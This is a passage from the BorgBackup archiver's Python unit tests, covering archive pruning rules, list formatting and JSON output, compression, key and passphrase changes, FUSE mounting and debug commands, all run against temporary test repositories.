self.assert_in('test4.checkpoint', output) self.cmd('prune', self.repository_location, '--keep-daily=1') output = self.cmd('list', '--consider-checkpoints', self.repository_location) self.assert_not_in('test1', output) # the latest non-checkpoint archive must be still there: self.assert_in('test2', output) # only the latest checkpoint archive must still be there: self.assert_not_in('test3.checkpoint', output) self.assert_not_in('test3.checkpoint.1', output) self.assert_in('test4.checkpoint', output) # now we supercede the latest checkpoint by a successful backup: self.cmd('create', self.repository_location + '::test5', src_dir) self.cmd('prune', self.repository_location, '--keep-daily=2') output = self.cmd('list', '--consider-checkpoints', self.repository_location) # all checkpoints should be gone now: self.assert_not_in('checkpoint', output) # the latest archive must be still there self.assert_in('test5', output) # Given a date and time in local tz, create a UTC timestamp string suitable # for create --timestamp command line option def _to_utc_timestamp(self, year, month, day, hour, minute, second): dtime = datetime(year, month, day, hour, minute, second, 0, dateutil.tz.gettz()) return dtime.astimezone(dateutil.tz.UTC).strftime("%Y-%m-%dT%H:%M:%S") def _create_archive_ts(self, name, y, m, d, H=0, M=0, S=0): loc = self.repository_location + '::' + name self.cmd('create', '--timestamp', self._to_utc_timestamp(y, m, d, H, M, S), loc, src_dir) # This test must match docs/misc/prune-example.txt def test_prune_repository_example(self): self.cmd('init', '--encryption=repokey', self.repository_location) # Archives that will be kept, per the example # Oldest archive self._create_archive_ts('test01', 2015, 1, 1) # 6 monthly archives self._create_archive_ts('test02', 2015, 6, 30) self._create_archive_ts('test03', 2015, 7, 31) self._create_archive_ts('test04', 2015, 8, 31) self._create_archive_ts('test05', 2015, 9, 30) self._create_archive_ts('test06', 2015, 10, 31) self._create_archive_ts('test07', 2015, 11, 30) # 14 daily archives self._create_archive_ts('test08', 2015, 12, 17) self._create_archive_ts('test09', 2015, 12, 18) self._create_archive_ts('test10', 2015, 12, 20) self._create_archive_ts('test11', 2015, 12, 21) self._create_archive_ts('test12', 2015, 12, 22) self._create_archive_ts('test13', 2015, 12, 23) self._create_archive_ts('test14', 2015, 12, 24) self._create_archive_ts('test15', 2015, 12, 25) self._create_archive_ts('test16', 2015, 12, 26) self._create_archive_ts('test17', 2015, 12, 27) self._create_archive_ts('test18', 2015, 12, 28) self._create_archive_ts('test19', 2015, 12, 29) self._create_archive_ts('test20', 2015, 12, 30) self._create_archive_ts('test21', 2015, 12, 31) # Additional archives that would be pruned # The second backup of the year self._create_archive_ts('test22', 2015, 1, 2) # The next older monthly backup self._create_archive_ts('test23', 2015, 5, 31) # The next older daily backup self._create_archive_ts('test24', 2015, 12, 16) output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=14', '--keep-monthly=6', '--keep-yearly=1') # Prune second backup of the year assert re.search(r'Would prune:\s+test22', output) # Prune next older monthly and daily backups assert re.search(r'Would prune:\s+test23', output) assert re.search(r'Would prune:\s+test24', output) # Must keep the other 21 backups # Yearly is kept as oldest archive assert re.search(r'Keeping archive \(rule: yearly\[oldest\] #1\):\s+test01', output) for i in range(1, 7): assert re.search(r'Keeping archive \(rule: monthly #' + str(i) + r'\):\s+test' + ("%02d" % (8-i)), output) for i in range(1, 15): assert re.search(r'Keeping archive \(rule: daily #' + str(i) + r'\):\s+test' + ("%02d" % (22-i)), output) output = self.cmd('list', self.repository_location) # Nothing pruned after dry run for i in range(1, 25): self.assert_in('test%02d' % i, output) self.cmd('prune', self.repository_location, '--keep-daily=14', '--keep-monthly=6', '--keep-yearly=1') output = self.cmd('list', self.repository_location) # All matching backups plus oldest kept for i in range(1, 22): self.assert_in('test%02d' % i, output) # Other backups have been pruned for i in range(22, 25): self.assert_not_in('test%02d' % i, output) # With an initial and daily backup, prune daily until oldest is replaced by a monthly backup def test_prune_retain_and_expire_oldest(self): self.cmd('init', '--encryption=repokey', self.repository_location) # Initial backup self._create_archive_ts('original_archive', 2020, 9, 1, 11, 15) # Archive and prune daily for 30 days for i in range(1, 31): self._create_archive_ts('september%02d' % i, 2020, 9, i, 12) self.cmd('prune', self.repository_location, '--keep-daily=7', '--keep-monthly=1') # Archive and prune 6 days into the next month for i in range(1, 7): self._create_archive_ts('october%02d' % i, 2020, 10, i, 12) self.cmd('prune', self.repository_location, '--keep-daily=7', '--keep-monthly=1') # Oldest backup is still retained output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=7', '--keep-monthly=1') assert re.search(r'Keeping archive \(rule: monthly\[oldest\] #1' + r'\):\s+original_archive', output) # Archive one more day and prune. self._create_archive_ts('october07', 2020, 10, 7, 12) self.cmd('prune', self.repository_location, '--keep-daily=7', '--keep-monthly=1') # Last day of previous month is retained as monthly, and oldest is expired. output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=7', '--keep-monthly=1') assert re.search(r'Keeping archive \(rule: monthly #1\):\s+september30', output) self.assert_not_in('original_archive', output) def test_prune_repository_save_space(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test1', src_dir) self.cmd('create', self.repository_location + '::test2', src_dir) output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=1') assert re.search(r'Keeping archive \(rule: daily #1\):\s+test2', output) assert re.search(r'Would prune:\s+test1', output) output = self.cmd('list', self.repository_location) self.assert_in('test1', output) self.assert_in('test2', output) self.cmd('prune', '--save-space', self.repository_location, '--keep-daily=1') output = self.cmd('list', self.repository_location) self.assert_not_in('test1', output) self.assert_in('test2', output) def test_prune_repository_prefix(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::foo-2015-08-12-10:00', src_dir) self.cmd('create', self.repository_location + '::foo-2015-08-12-20:00', src_dir) self.cmd('create', self.repository_location + '::bar-2015-08-12-10:00', src_dir) self.cmd('create', self.repository_location + '::bar-2015-08-12-20:00', src_dir) output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=1', '--prefix=foo-') assert re.search(r'Keeping archive \(rule: daily #1\):\s+foo-2015-08-12-20:00', output) assert re.search(r'Would prune:\s+foo-2015-08-12-10:00', output) output = self.cmd('list', self.repository_location) self.assert_in('foo-2015-08-12-10:00', output) self.assert_in('foo-2015-08-12-20:00', output) self.assert_in('bar-2015-08-12-10:00', output) self.assert_in('bar-2015-08-12-20:00', output) self.cmd('prune', self.repository_location, '--keep-daily=1', '--prefix=foo-') output = self.cmd('list', self.repository_location) self.assert_not_in('foo-2015-08-12-10:00', output) self.assert_in('foo-2015-08-12-20:00', output) self.assert_in('bar-2015-08-12-10:00', output) self.assert_in('bar-2015-08-12-20:00', output) def test_prune_repository_glob(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::2015-08-12-10:00-foo', src_dir) self.cmd('create', self.repository_location + '::2015-08-12-20:00-foo', src_dir) self.cmd('create', self.repository_location + '::2015-08-12-10:00-bar', src_dir) self.cmd('create', self.repository_location + '::2015-08-12-20:00-bar', src_dir) output = self.cmd('prune', '--list', '--dry-run', self.repository_location, '--keep-daily=1', '--glob-archives=2015-*-foo') assert re.search(r'Keeping archive \(rule: daily #1\):\s+2015-08-12-20:00-foo', output) assert re.search(r'Would prune:\s+2015-08-12-10:00-foo', output) output = self.cmd('list', self.repository_location) self.assert_in('2015-08-12-10:00-foo', output) self.assert_in('2015-08-12-20:00-foo', output) self.assert_in('2015-08-12-10:00-bar', output) self.assert_in('2015-08-12-20:00-bar', output) self.cmd('prune', self.repository_location, '--keep-daily=1', '--glob-archives=2015-*-foo') output = self.cmd('list', self.repository_location) self.assert_not_in('2015-08-12-10:00-foo', output) self.assert_in('2015-08-12-20:00-foo', output) self.assert_in('2015-08-12-10:00-bar', output) self.assert_in('2015-08-12-20:00-bar', output) def test_list_prefix(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test-1', src_dir) self.cmd('create', self.repository_location + '::something-else-than-test-1', src_dir) self.cmd('create', self.repository_location + '::test-2', src_dir) output = self.cmd('list', '--prefix=test-', self.repository_location) self.assert_in('test-1', output) self.assert_in('test-2', output) self.assert_not_in('something-else', output) def test_list_format(self): self.cmd('init', '--encryption=repokey', self.repository_location) test_archive = self.repository_location + '::test' self.cmd('create', test_archive, src_dir) output_1 = self.cmd('list', test_archive) output_2 = self.cmd('list', '--format', '{mode} {user:6} {group:6} {size:8d} {mtime} {path}{extra}{NEWLINE}', test_archive) output_3 = self.cmd('list', '--format', '{mtime:%s} {path}{NL}', test_archive) self.assertEqual(output_1, output_2) self.assertNotEqual(output_1, output_3) def test_list_repository_format(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', '--comment', 'comment 1', self.repository_location + '::test-1', src_dir) self.cmd('create', '--comment', 'comment 2', self.repository_location + '::test-2', src_dir) output_1 = self.cmd('list', self.repository_location) output_2 = self.cmd('list', '--format', '{archive:<36} {time} [{id}]{NL}', self.repository_location) self.assertEqual(output_1, output_2) output_1 = self.cmd('list', '--short', self.repository_location) self.assertEqual(output_1, 'test-1\ntest-2\n') output_1 = self.cmd('list', '--format', '{barchive}/', self.repository_location) self.assertEqual(output_1, 'test-1/test-2/') output_3 = self.cmd('list', '--format', '{name} {comment}{NL}', self.repository_location) self.assert_in('test-1 comment 1\n', output_3) self.assert_in('test-2 comment 2\n', output_3) def test_list_hash(self): self.create_regular_file('empty_file', size=0) self.create_regular_file('amb', contents=b'a' * 1000000) self.cmd('init', '--encryption=repokey', self.repository_location) test_archive = self.repository_location + '::test' self.cmd('create', test_archive, 'input') output = self.cmd('list', '--format', '{sha256} {path}{NL}', test_archive) assert "cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0 input/amb" in output assert "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 input/empty_file" in output def test_list_consider_checkpoints(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test1', src_dir) # these are not really a checkpoints, but they look like some: self.cmd('create', self.repository_location + '::test2.checkpoint', src_dir) self.cmd('create', self.repository_location + '::test3.checkpoint.1', src_dir) output = self.cmd('list', self.repository_location) assert "test1" in output assert "test2.checkpoint" not in output assert "test3.checkpoint.1" not in output output = self.cmd('list', '--consider-checkpoints', self.repository_location) assert "test1" in output assert "test2.checkpoint" in output assert "test3.checkpoint.1" in output def test_list_chunk_counts(self): self.create_regular_file('empty_file', size=0) self.create_regular_file('two_chunks') with open(os.path.join(self.input_path, 'two_chunks'), 'wb') as fd: fd.write(b'abba' * 2000000) fd.write(b'baab' * 2000000) self.cmd('init', '--encryption=repokey', self.repository_location) test_archive = self.repository_location + '::test' self.cmd('create', test_archive, 'input') output = self.cmd('list', '--format', '{num_chunks} {unique_chunks} {path}{NL}', test_archive) assert "0 0 input/empty_file" in output assert "2 2 input/two_chunks" in output def test_list_size(self): self.create_regular_file('compressible_file', size=10000) self.cmd('init', '--encryption=repokey', self.repository_location) test_archive = self.repository_location + '::test' self.cmd('create', '-C', 'lz4', test_archive, 'input') output = self.cmd('list', '--format', '{size} {csize} {dsize} {dcsize} {path}{NL}', test_archive) size, csize, dsize, dcsize, path = output.split("\n")[1].split(" ") assert int(csize) < int(size) assert int(dcsize) < int(dsize) assert int(dsize) <= int(size) assert int(dcsize) <= int(csize) def test_list_json(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') list_repo = json.loads(self.cmd('list', '--json', self.repository_location)) repository = list_repo['repository'] assert len(repository['id']) == 64 assert datetime.strptime(repository['last_modified'], ISO_FORMAT) # must not raise assert list_repo['encryption']['mode'] == 'repokey' assert 'keyfile' not in list_repo['encryption'] archive0 = list_repo['archives'][0] assert datetime.strptime(archive0['time'], ISO_FORMAT) # must not raise list_archive = self.cmd('list', '--json-lines', self.repository_location + '::test') items = [json.loads(s) for s in list_archive.splitlines()] assert len(items) == 2 file1 = items[1] assert file1['path'] == 'input/file1' assert file1['size'] == 81920 assert datetime.strptime(file1['mtime'], ISO_FORMAT) # must not raise list_archive = self.cmd('list', '--json-lines', '--format={sha256}', self.repository_location + '::test') items = [json.loads(s) for s in list_archive.splitlines()] assert len(items) == 2 file1 = items[1] assert file1['path'] == 'input/file1' assert file1['sha256'] == 'b2915eb69f260d8d3c25249195f2c8f4f716ea82ec760ae929732c0262442b2b' def test_list_json_args(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('list', '--json-lines', self.repository_location, exit_code=2) self.cmd('list', '--json', self.repository_location + '::archive', exit_code=2) def test_log_json(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) log = self.cmd('create', '--log-json', self.repository_location + '::test', 'input', '--list', '--debug') messages = {} # type -> message, one of each kind for line in log.splitlines(): msg = json.loads(line) messages[msg['type']] = msg file_status = messages['file_status'] assert 'status' in file_status assert file_status['path'].startswith('input') log_message = messages['log_message'] assert isinstance(log_message['time'], float) assert log_message['levelname'] == 'DEBUG' # there should only be DEBUG messages assert isinstance(log_message['message'], str) def test_debug_profile(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input', '--debug-profile=create.prof') self.cmd('debug', 'convert-profile', 'create.prof', 'create.pyprof') stats = pstats.Stats('create.pyprof') stats.strip_dirs() stats.sort_stats('cumtime') self.cmd('create', self.repository_location + '::test2', 'input', '--debug-profile=create.pyprof') stats = pstats.Stats('create.pyprof') # Only do this on trusted data! stats.strip_dirs() stats.sort_stats('cumtime') def test_common_options(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) log = self.cmd('--debug', 'create', self.repository_location + '::test', 'input') assert 'security: read previous location' in log def _get_sizes(self, compression, compressible, size=10000): if compressible: contents = b'X' * size else: contents = os.urandom(size) self.create_regular_file('file', contents=contents) self.cmd('init', '--encryption=none', self.repository_location) archive = self.repository_location + '::test' self.cmd('create', '-C', compression, archive, 'input') output = self.cmd('list', '--format', '{size} {csize} {path}{NL}', archive) size, csize, path = output.split("\n")[1].split(" ") return int(size), int(csize) def test_compression_none_compressible(self): size, csize = self._get_sizes('none', compressible=True) assert csize == size + 3 def test_compression_none_uncompressible(self): size, csize = self._get_sizes('none', compressible=False) assert csize == size + 3 def test_compression_zlib_compressible(self): size, csize = self._get_sizes('zlib', compressible=True) assert csize < size * 0.1 assert csize == 35 def test_compression_zlib_uncompressible(self): size, csize = self._get_sizes('zlib', compressible=False) assert csize >= size def test_compression_auto_compressible(self): size, csize = self._get_sizes('auto,zlib', compressible=True) assert csize < size * 0.1 assert csize == 35 # same as compression 'zlib' def test_compression_auto_uncompressible(self): size, csize = self._get_sizes('auto,zlib', compressible=False) assert csize == size + 3 # same as compression 'none' def test_compression_lz4_compressible(self): size, csize = self._get_sizes('lz4', compressible=True) assert csize < size * 0.1 def test_compression_lz4_uncompressible(self): size, csize = self._get_sizes('lz4', compressible=False) assert csize == size + 3 # same as compression 'none' def test_compression_lzma_compressible(self): size, csize = self._get_sizes('lzma', compressible=True) assert csize < size * 0.1 def test_compression_lzma_uncompressible(self): size, csize = self._get_sizes('lzma', compressible=False) assert csize == size + 3 # same as compression 'none' def test_compression_zstd_compressible(self): size, csize = self._get_sizes('zstd', compressible=True) assert csize < size * 0.1 def test_compression_zstd_uncompressible(self): size, csize = self._get_sizes('zstd', compressible=False) assert csize == size + 3 # same as compression 'none' def test_change_passphrase(self): self.cmd('init', '--encryption=repokey', self.repository_location) os.environ['BORG_NEW_PASSPHRASE'] = 'newpassphrase' # here we have both BORG_PASSPHRASE and BORG_NEW_PASSPHRASE set: self.cmd('key', 'change-passphrase', self.repository_location) os.environ['BORG_PASSPHRASE'] = 'newpassphrase' self.cmd('list', self.repository_location) def test_change_location_to_keyfile(self): self.cmd('init', '--encryption=repokey', self.repository_location) log = self.cmd('info', self.repository_location) assert '(repokey)' in log self.cmd('key', 'change-location', self.repository_location, 'keyfile') log = self.cmd('info', self.repository_location) assert '(key file)' in log def test_change_location_to_b2keyfile(self): self.cmd('init', '--encryption=repokey-blake2', self.repository_location) log = self.cmd('info', self.repository_location) assert '(repokey BLAKE2b)' in log self.cmd('key', 'change-location', self.repository_location, 'keyfile') log = self.cmd('info', self.repository_location) assert '(key file BLAKE2b)' in log def test_change_location_to_repokey(self): self.cmd('init', '--encryption=keyfile', self.repository_location) log = self.cmd('info', self.repository_location) assert '(key file)' in log self.cmd('key', 'change-location', self.repository_location, 'repokey') log = self.cmd('info', self.repository_location) assert '(repokey)' in log def test_change_location_to_b2repokey(self): self.cmd('init', '--encryption=keyfile-blake2', self.repository_location) log = self.cmd('info', self.repository_location) assert '(key file BLAKE2b)' in log self.cmd('key', 'change-location', self.repository_location, 'repokey') log = self.cmd('info', self.repository_location) assert '(repokey BLAKE2b)' in log def test_break_lock(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('break-lock', self.repository_location) def test_usage(self): self.cmd() self.cmd('-h') def test_help(self): assert 'Borg' in self.cmd('help') assert 'patterns' in self.cmd('help', 'patterns') assert 'Initialize' in self.cmd('help', 'init') assert 'positional arguments' not in self.cmd('help', 'init', '--epilog-only') assert 'This command initializes' not in self.cmd('help', 'init', '--usage-only') @unittest.skipUnless(llfuse, 'llfuse not installed') def test_fuse(self): def has_noatime(some_file): atime_before = os.stat(some_file).st_atime_ns try: os.close(os.open(some_file, flags_noatime)) except PermissionError: return False else: atime_after = os.stat(some_file).st_atime_ns noatime_used = flags_noatime != flags_normal return noatime_used and atime_before == atime_after self.cmd('init', '--encryption=repokey', self.repository_location) self.create_test_files() have_noatime = has_noatime('input/file1') self.cmd('create', '--exclude-nodump', '--atime', self.repository_location + '::archive', 'input') self.cmd('create', '--exclude-nodump', '--atime', self.repository_location + '::archive2', 'input') if has_lchflags: # remove the file we did not backup, so input and output become equal os.remove(os.path.join('input', 'flagfile')) mountpoint = os.path.join(self.tmpdir, 'mountpoint') # mount the whole repository, archive contents shall show up in archivename subdirs of mountpoint: with self.fuse_mount(self.repository_location, mountpoint): # flags are not supported by the FUSE mount # we also ignore xattrs here, they are tested separately self.assert_dirs_equal(self.input_path, os.path.join(mountpoint, 'archive', 'input'), ignore_flags=True, ignore_xattrs=True) self.assert_dirs_equal(self.input_path, os.path.join(mountpoint, 'archive2', 'input'), ignore_flags=True, ignore_xattrs=True) # mount only 1 archive, its contents shall show up directly in mountpoint: with self.fuse_mount(self.repository_location + '::archive', mountpoint): self.assert_dirs_equal(self.input_path, os.path.join(mountpoint, 'input'), ignore_flags=True, ignore_xattrs=True) # regular file in_fn = 'input/file1' out_fn = os.path.join(mountpoint, 'input', 'file1') # stat sti1 = os.stat(in_fn) sto1 = os.stat(out_fn) assert sti1.st_mode == sto1.st_mode assert sti1.st_uid == sto1.st_uid assert sti1.st_gid == sto1.st_gid assert sti1.st_size == sto1.st_size if have_noatime: assert sti1.st_atime == sto1.st_atime assert sti1.st_ctime == sto1.st_ctime assert sti1.st_mtime == sto1.st_mtime if are_hardlinks_supported(): # note: there is another hardlink to this, see below assert sti1.st_nlink == sto1.st_nlink == 2 # read with open(in_fn, 'rb') as in_f, open(out_fn, 'rb') as out_f: assert in_f.read() == out_f.read() # hardlink (to 'input/file1') if are_hardlinks_supported(): in_fn = 'input/hardlink' out_fn = os.path.join(mountpoint, 'input', 'hardlink') sti2 = os.stat(in_fn) sto2 = os.stat(out_fn) assert sti2.st_nlink == sto2.st_nlink == 2 assert sto1.st_ino == sto2.st_ino # symlink if are_symlinks_supported(): in_fn = 'input/link1' out_fn = os.path.join(mountpoint, 'input', 'link1') sti = os.stat(in_fn, follow_symlinks=False) sto = os.stat(out_fn, follow_symlinks=False) assert sti.st_size == len('somewhere') assert sto.st_size == len('somewhere') assert stat.S_ISLNK(sti.st_mode) assert stat.S_ISLNK(sto.st_mode) assert os.readlink(in_fn) == os.readlink(out_fn) # FIFO if are_fifos_supported(): out_fn = os.path.join(mountpoint, 'input', 'fifo1') sto = os.stat(out_fn) assert stat.S_ISFIFO(sto.st_mode) # list/read xattrs try: in_fn = 'input/fusexattr' out_fn = os.fsencode(os.path.join(mountpoint, 'input', 'fusexattr')) if not xattr.XATTR_FAKEROOT and xattr.is_enabled(self.input_path): assert sorted(no_selinux(xattr.listxattr(out_fn))) == [b'user.empty', b'user.foo', ] assert xattr.getxattr(out_fn, b'user.foo') == b'bar' assert xattr.getxattr(out_fn, b'user.empty') == b'' else: assert no_selinux(xattr.listxattr(out_fn)) == [] try: xattr.getxattr(out_fn, b'user.foo') except OSError as e: assert e.errno == llfuse.ENOATTR else: assert False, "expected OSError(ENOATTR), but no error was raised" except OSError as err: if sys.platform.startswith(('nothing_here_now', )) and err.errno == errno.ENOTSUP: # some systems have no xattr support on FUSE pass else: raise @unittest.skipUnless(llfuse, 'llfuse not installed') def test_fuse_versions_view(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('test', contents=b'first') if are_hardlinks_supported(): self.create_regular_file('hardlink1', contents=b'123456') os.link('input/hardlink1', 'input/hardlink2') os.link('input/hardlink1', 'input/hardlink3') self.cmd('create', self.repository_location + '::archive1', 'input') self.create_regular_file('test', contents=b'second') self.cmd('create', self.repository_location + '::archive2', 'input') mountpoint = os.path.join(self.tmpdir, 'mountpoint') # mount the whole repository, archive contents shall show up in versioned view: with self.fuse_mount(self.repository_location, mountpoint, '-o', 'versions'): path = os.path.join(mountpoint, 'input', 'test') # filename shows up as directory ... files = os.listdir(path) assert all(f.startswith('test.') for f in files) # ... with files test.xxxxx in there assert {b'first', b'second'} == {open(os.path.join(path, f), 'rb').read() for f in files} if are_hardlinks_supported(): hl1 = os.path.join(mountpoint, 'input', 'hardlink1', 'hardlink1.00001') hl2 = os.path.join(mountpoint, 'input', 'hardlink2', 'hardlink2.00001') hl3 = os.path.join(mountpoint, 'input', 'hardlink3', 'hardlink3.00001') assert os.stat(hl1).st_ino == os.stat(hl2).st_ino == os.stat(hl3).st_ino assert open(hl3, 'rb').read() == b'123456' # similar again, but exclude the hardlink master: with self.fuse_mount(self.repository_location, mountpoint, '-o', 'versions', '-e', 'input/hardlink1'): if are_hardlinks_supported(): hl2 = os.path.join(mountpoint, 'input', 'hardlink2', 'hardlink2.00001') hl3 = os.path.join(mountpoint, 'input', 'hardlink3', 'hardlink3.00001') assert os.stat(hl2).st_ino == os.stat(hl3).st_ino assert open(hl3, 'rb').read() == b'123456' @unittest.skipUnless(llfuse, 'llfuse not installed') def test_fuse_allow_damaged_files(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('archive') # Get rid of a chunk and repair it archive, repository = self.open_archive('archive') with repository: for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): repository.delete(item.chunks[-1].id) path = item.path # store full path for later break else: assert False # missed the file repository.commit(compact=False) self.cmd('check', '--repair', self.repository_location, exit_code=0) mountpoint = os.path.join(self.tmpdir, 'mountpoint') with self.fuse_mount(self.repository_location + '::archive', mountpoint): with pytest.raises(OSError) as excinfo: open(os.path.join(mountpoint, path)) assert excinfo.value.errno == errno.EIO with self.fuse_mount(self.repository_location + '::archive', mountpoint, '-o', 'allow_damaged_files'): open(os.path.join(mountpoint, path)).close() @unittest.skipUnless(llfuse, 'llfuse not installed') def test_fuse_mount_options(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('arch11') self.create_src_archive('arch12') self.create_src_archive('arch21') self.create_src_archive('arch22') mountpoint = os.path.join(self.tmpdir, 'mountpoint') with self.fuse_mount(self.repository_location, mountpoint, '--first=2', '--sort=name'): assert sorted(os.listdir(os.path.join(mountpoint))) == ['arch11', 'arch12'] with self.fuse_mount(self.repository_location, mountpoint, '--last=2', '--sort=name'): assert sorted(os.listdir(os.path.join(mountpoint))) == ['arch21', 'arch22'] with self.fuse_mount(self.repository_location, mountpoint, '--prefix=arch1'): assert sorted(os.listdir(os.path.join(mountpoint))) == ['arch11', 'arch12'] with self.fuse_mount(self.repository_location, mountpoint, '--prefix=arch2'): assert sorted(os.listdir(os.path.join(mountpoint))) == ['arch21', 'arch22'] with self.fuse_mount(self.repository_location, mountpoint, '--prefix=arch'): assert sorted(os.listdir(os.path.join(mountpoint))) == ['arch11', 'arch12', 'arch21', 'arch22'] with self.fuse_mount(self.repository_location, mountpoint, '--prefix=nope'): assert sorted(os.listdir(os.path.join(mountpoint))) == [] @unittest.skipUnless(llfuse, 'llfuse not installed') def test_migrate_lock_alive(self): """Both old_id and new_id must not be stale during lock migration / daemonization.""" from functools import wraps import pickle import traceback # Check results are communicated from the borg mount background process # to the pytest process by means of a serialized dict object stored in this file. assert_data_file = os.path.join(self.tmpdir, 'migrate_lock_assert_data.pickle') # Decorates Lock.migrate_lock() with process_alive() checks before and after. # (We don't want to mix testing code into runtime.) def write_assert_data(migrate_lock): @wraps(migrate_lock) def wrapper(self, old_id, new_id): wrapper.num_calls += 1 assert_data = { 'num_calls': wrapper.num_calls, 'old_id': old_id, 'new_id': new_id, 'before': { 'old_id_alive': platform.process_alive(*old_id), 'new_id_alive': platform.process_alive(*new_id)}, 'exception': None, 'exception.extr_tb': None, 'after': { 'old_id_alive': None, 'new_id_alive': None}} try: with open(assert_data_file, 'wb') as _out: pickle.dump(assert_data, _out) except: pass try: return migrate_lock(self, old_id, new_id) except BaseException as e: assert_data['exception'] = e assert_data['exception.extr_tb'] = traceback.extract_tb(e.__traceback__) finally: assert_data['after'].update({ 'old_id_alive': platform.process_alive(*old_id), 'new_id_alive': platform.process_alive(*new_id)}) try: with open(assert_data_file, 'wb') as _out: pickle.dump(assert_data, _out) except: pass wrapper.num_calls = 0 return wrapper # Decorate borg.locking.Lock.migrate_lock = write_assert_data(borg.locking.Lock.migrate_lock) try: self.cmd('init', '--encryption=none', self.repository_location) self.create_src_archive('arch') mountpoint = os.path.join(self.tmpdir, 'mountpoint') # In order that the decoration is kept for the borg mount process, we must not spawn, but actually fork; # not to be confused with the forking in borg.helpers.daemonize() which is done as well. with self.fuse_mount(self.repository_location, mountpoint, os_fork=True): pass with open(assert_data_file, 'rb') as _in: assert_data = pickle.load(_in) print(f'\nLock.migrate_lock(): assert_data = {assert_data!r}.', file=sys.stderr, flush=True) exception = assert_data['exception'] if exception is not None: extracted_tb = assert_data['exception.extr_tb'] print( 'Lock.migrate_lock() raised an exception:\n', 'Traceback (most recent call last):\n', *traceback.format_list(extracted_tb), *traceback.format_exception(exception.__class__, exception, None), sep='', end='', file=sys.stderr, flush=True) assert assert_data['num_calls'] == 1, "Lock.migrate_lock() must be called exactly once." assert exception is None, "Lock.migrate_lock() may not raise an exception." assert_data_before = assert_data['before'] assert assert_data_before['old_id_alive'], "old_id must be alive (=must not be stale) when calling Lock.migrate_lock()." assert assert_data_before['new_id_alive'], "new_id must be alive (=must not be stale) when calling Lock.migrate_lock()." assert_data_after = assert_data['after'] assert assert_data_after['old_id_alive'], "old_id must be alive (=must not be stale) when Lock.migrate_lock() has returned." assert assert_data_after['new_id_alive'], "new_id must be alive (=must not be stale) when Lock.migrate_lock() has returned." finally: # Undecorate borg.locking.Lock.migrate_lock = borg.locking.Lock.migrate_lock.__wrapped__ def verify_aes_counter_uniqueness(self, method): seen = set() # Chunks already seen used = set() # counter values already used def verify_uniqueness(): with Repository(self.repository_path) as repository: for id, _ in repository.open_index(repository.get_transaction_id()).iteritems(): data = repository.get(id) hash = sha256(data).digest() if hash not in seen: seen.add(hash) num_blocks = num_cipher_blocks(len(data) - 41) nonce = bytes_to_long(data[33:41]) for counter in range(nonce, nonce + num_blocks): self.assert_not_in(counter, used) used.add(counter) self.create_test_files() os.environ['BORG_PASSPHRASE'] = 'passphrase' self.cmd('init', '--encryption=' + method, self.repository_location) verify_uniqueness() self.cmd('create', self.repository_location + '::test', 'input') verify_uniqueness() self.cmd('create', self.repository_location + '::test.2', 'input') verify_uniqueness() self.cmd('delete', self.repository_location + '::test.2') verify_uniqueness() def test_aes_counter_uniqueness_keyfile(self): self.verify_aes_counter_uniqueness('keyfile') def test_aes_counter_uniqueness_passphrase(self): self.verify_aes_counter_uniqueness('repokey') def test_debug_dump_archive_items(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): output = self.cmd('debug', 'dump-archive-items', self.repository_location + '::test') output_dir = sorted(os.listdir('output')) assert len(output_dir) > 0 and output_dir[0].startswith('000000_') assert 'Done.' in output def test_debug_dump_repo_objs(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): output = self.cmd('debug', 'dump-repo-objs', self.repository_location) output_dir = sorted(os.listdir('output')) assert len(output_dir) > 0 and output_dir[0].startswith('00000000_') assert 'Done.' in output def test_debug_put_get_delete_obj(self): self.cmd('init', '--encryption=repokey', self.repository_location) data = b'some data' hexkey = sha256(data).hexdigest() self.create_regular_file('file', contents=data) output = self.cmd('debug', 'put-obj', self.repository_location, 'input/file') assert hexkey in output output = self.cmd('debug', 'get-obj', self.repository_location, hexkey, 'output/file') assert hexkey in output with open('output/file', 'rb') as f: data_read = f.read() assert data == data_read output = self.cmd('debug', 'delete-obj', self.repository_location, hexkey) assert "deleted" in output output = self.cmd('debug', 'delete-obj', self.repository_location, hexkey) assert "not found" in output output = self.cmd('debug', 'delete-obj', self.repository_location, 'invalid') assert "is invalid" in output def test_init_interrupt(self): def raise_eof(*args): raise EOFError with patch.object(FlexiKeyBase, 'create', raise_eof): self.cmd('init', '--encryption=repokey', self.repository_location, exit_code=1) assert not os.path.exists(self.repository_location) def test_init_requires_encryption_option(self): self.cmd('init', self.repository_location, exit_code=2) def test_init_nested_repositories(self): self.cmd('init', '--encryption=repokey', self.repository_location) if self.FORK_DEFAULT: self.cmd('init', '--encryption=repokey', self.repository_location + '/nested', exit_code=2) 